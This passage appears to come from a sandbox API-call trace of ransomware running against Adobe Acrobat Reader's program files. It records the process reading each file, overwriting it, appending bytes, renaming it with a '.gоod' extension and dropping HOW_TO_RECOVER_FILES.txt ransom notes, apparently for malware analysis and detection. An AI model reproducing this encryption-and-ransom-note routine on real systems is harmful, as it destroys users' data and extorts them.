DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0253.198] GetFileType (hFile=0x8a0) returned 0x1 [0253.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0253.198] GetFileType (hFile=0x8a0) returned 0x1 [0253.198] ReadFile (in: hFile=0x8a0, lpBuffer=0x3a4d110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3a4d110*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0253.282] CloseHandle (hObject=0x8a0) returned 1 [0253.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0253.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0253.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0253.282] GetFileType (hFile=0x8a0) returned 0x1 [0253.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0253.282] GetFileType (hFile=0x8a0) returned 0x1 [0253.282] WriteFile (in: hFile=0x8a0, lpBuffer=0x3a4bdf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3a4bdf8*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0253.283] CloseHandle (hObject=0x8a0) returned 1 [0253.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0253.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0253.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0253.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x932e2928, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb54d)) returned 1 [0253.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0253.283] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\ui-strings.js.gоod")) returned 1 [0253.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0253.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0253.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0253.285] GetFileType (hFile=0x8a0) returned 0x1 [0253.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0253.286] GetFileType (hFile=0x8a0) returned 0x1 [0253.286] WriteFile (in: hFile=0x8a0, lpBuffer=0x3acbbe0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3acbbe0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0253.287] CloseHandle (hObject=0x8a0) returned 1 [0253.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x84 [0253.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebec0) returned 1 [0253.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0253.460] GetFileType (hFile=0x808) returned 0x1 [0253.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe30) returned 1 [0253.460] GetFileType (hFile=0x808) returned 0x1 [0253.460] WriteFile (in: hFile=0x808, lpBuffer=0x3a00498*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ebf88, lpOverlapped=0x0 | out: lpBuffer=0x3a00498*, lpNumberOfBytesWritten=0x203ebf88*=0x5d0, lpOverlapped=0x0) returned 1 [0253.461] CloseHandle (hObject=0x808) returned 1 [0253.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0253.461] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins", lpFilePart=0x0) returned 0x6f [0253.461] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0253.462] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-selector.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-tool-view.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-selector.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62167, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-tool-view.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0253.463] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0253.464] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0253.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0253.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0253.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0253.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins", lpFilePart=0x0) returned 0x6f [0253.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0253.464] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.464] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-selector.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0253.464] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-tool-view.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0253.465] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-selector.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0253.465] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62167, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-tool-view.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0253.465] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0253.465] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0253.465] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0253.465] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0253.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0253.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0253.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", lpFilePart=0x0) returned 0x86 [0253.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebd00) returned 1 [0253.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x3a12110 | out: lpFileInformation=0x3a12110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920)) returned 1 [0253.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebcc0) returned 1 [0253.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", lpFilePart=0x0) returned 0x86 [0253.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0253.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.467] GetFileType (hFile=0x808) returned 0x1 [0253.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0253.467] GetFileType (hFile=0x808) returned 0x1 [0253.467] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x1000 [0253.467] ReadFile (in: hFile=0x808, lpBuffer=0x3a12668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebd28, lpOverlapped=0x0 | out: lpBuffer=0x3a12668*, lpNumberOfBytesRead=0x203ebd28*=0x1000, lpOverlapped=0x0) returned 1 [0253.468] CloseHandle (hObject=0x808) returned 1 [0253.468] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", lpFilePart=0x0) returned 0x86 [0253.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0253.468] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.468] GetFileType (hFile=0x808) returned 0x1 [0253.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0253.468] GetFileType (hFile=0x808) returned 0x1 [0253.468] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x2b920 [0253.468] WriteFile (in: hFile=0x808, lpBuffer=0x3a13990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ebc48, lpOverlapped=0x0 | out: lpBuffer=0x3a13990*, lpNumberOfBytesWritten=0x203ebc48*=0x10, lpOverlapped=0x0) returned 1 [0253.469] CloseHandle (hObject=0x808) returned 1 [0253.469] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", lpFilePart=0x0) returned 0x86 [0253.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0253.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.470] GetFileType (hFile=0x808) returned 0x1 [0253.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0253.470] GetFileType (hFile=0x808) returned 0x1 